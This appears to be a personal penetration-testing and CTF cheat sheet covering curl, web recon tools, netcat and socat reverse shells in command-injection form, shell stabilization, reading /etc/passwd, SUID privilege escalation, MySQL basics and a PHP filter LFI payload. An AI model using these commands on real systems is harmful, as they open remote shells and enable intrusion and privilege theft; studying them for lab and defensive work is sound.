If we want to get sources of a webpage, we can do this with `Curl`:

```
$ curl -X GET http://10.10.4.59:8081/ctf/post.html
```

```
*(-X [GET]          = Set kind of fetch method
  [target]          = The URL of the webpage we want to fetch
  -d [param]        = Sends the specified data in a POST  request  to  the HTTP server)
```

We can also save files with the `-O` flag:

```
$ curl -O inlanefreight.com/index.html -o home.html -s -v
```

```
*(-O    = Save the output into a file
  -o    = Sepcify the filename
  -s    = Silent the status
  -v    = verbose)
```

To retrieve an even more verbose output use the `-vvv` flag. The certificate check can be skipped with the `-k` flag, when establish a `https` connection via curl.

`CEWL` password list generator.

`WPSCAN` scans the Word Press version.

`Gobuster` is a tool used to brute-force URIs including directories and files as well as DNS subdomains.

`DIRB` is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects.

8.3 Web Applications

OWASP Web Security Testing Guide

Exploit databases:

- (Exploit DB)[https://www.exploit-db.com/]
- (Rapid7 DB)[https://www.rapid7.com/db/]

- (Vulnerability Lab)[https://www.vulnerability-lab.com/] ### Reverse Shell

8.3.1 Netcat

Listener:

```
$ nc -lvnp 4242
```

Victim:

```
$ ;nc -e /bin/sh 10.0.0.1 4242
```

8.3.2 Socat

Lister:

```
$ socat -d -d TCP4-LISTEN:4443 STDOUT
```

Victim (Linux):

```
$ ;socat TCP4:10.0.0.1:4443 EXEC:/bin/bash
```

Victim (Windows):

```
$ ;socat TCP4:192.168.168.1:4443 EXEC:'cmd.exe',pipes
```

8.3.3 Stabilize Shell

You can stabilize the shell with the python module `pty`:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

For more information checkout the following GitHub repo: PayloadsAllTheThings

If you gain access depending on the OS you can try the following commands to get more information: >Linux

```
$ whoami
$ id
$ ifconfig/ip addr
$ uname -a                  # print system information
$ ps -ef                    # -e = select all processes  -f = do full-format listing
$ less /etc/passwd          # usernames with UID, GID, GECOS, home directory and login she
$ cut -d: -f1 /etc/passwd   # only usernames
$ cat /etc/os-release       # Get inforamtion about the OS and the OS version
```

Windows

```
$ whoami
$ ver
$ ipconfig
```

```
  $ tasklist
  $ netstat -an
```

8.4 Privilege Escalation

8.4.1 Exploiting SUID

```
find / -perm /4000 2>/dev/null
```

```
sudo chmod +s bash
```

9 SQL injection (SQLi)

9.1 MySQL Basics

To interact with MySQL/MariaDB we can use the `mysql` binary.

```
$ mysql -u root -h docker.hackthebox.eu -P 3306 -p

Enter password:
...SNIP...

mysql>
```

```
*(-u    = User
  -h    = Host
  -P    = Port
  -p    = Password)
```

9.1.1 Operators

- Division (`/`), Multiplication (`*`), and Modulus (`%`)
- Addition (`+`) and subtraction (`-`)
- Comparison (`=`, `>`, `<`, `<=`, `>=`, `!=`, `LIKE`)
- NOT (`!`)
- AND (`&&`)
- OR (`||`)

For an overview please have a look at the (MySQL cheatsheet)[https://devhints.io/mysql]. ## LFI

```
entry=php://filter/convert.base64-encode/resource=index.php
```